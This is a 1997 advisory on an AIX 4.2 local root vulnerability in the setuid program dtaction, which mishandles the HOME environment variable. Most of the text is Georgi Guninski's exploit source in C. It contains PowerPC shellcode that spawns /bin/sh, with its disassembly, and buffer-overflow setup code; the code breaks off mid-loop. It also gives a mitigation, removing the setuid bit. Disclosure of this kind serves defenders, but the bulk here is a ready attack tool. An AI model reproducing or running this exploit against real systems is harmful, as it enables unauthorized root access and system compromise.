Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle properly the HOME environment variable and that spawns a root shell. A lot of other X programs have the same problem and /bin/X11/xlock is well known to be exploitable. Tested on AIX 4.2 box. SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock OR apply patches -----aixdtaction.c------------------------------------------------ /* AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski ---------------------------------------- DISCLAIMER This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, his employer or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of this program is not Georgi Guninski's responsibility. In case you distribute this, please keep the disclaimer and my addresses. ----------------------------------------- Use the IBM C compiler. Compile with: cc -g aixdtaction.c DISPLAY should be set. SOLUTION: #chmod -s /usr/dt/bin/dtaction ; at least stops root shells ----------------- Georgi Guninski guninski@hotmail.com http://www.geocities.com/ResearchTriangle/1711 Suggestions,comments and job offers are welcome! 10-JUNE-97 */ #include #include #include char *prog="/usr/dt/bin/dtaction"; char *prog2="dtaction"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); return c; } /*The program*/ main(int argc,char **argv,char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 60632c48 lis r3,r3,11336 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 60634c0c lis r3,r3,19468 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn=100; int max=280; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; unsigned int reta; /* return address */ int corr=3400; char *args[4]; char *newenv[8]; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=(unsigned) &buf[0]+corr; for(nop=0;nop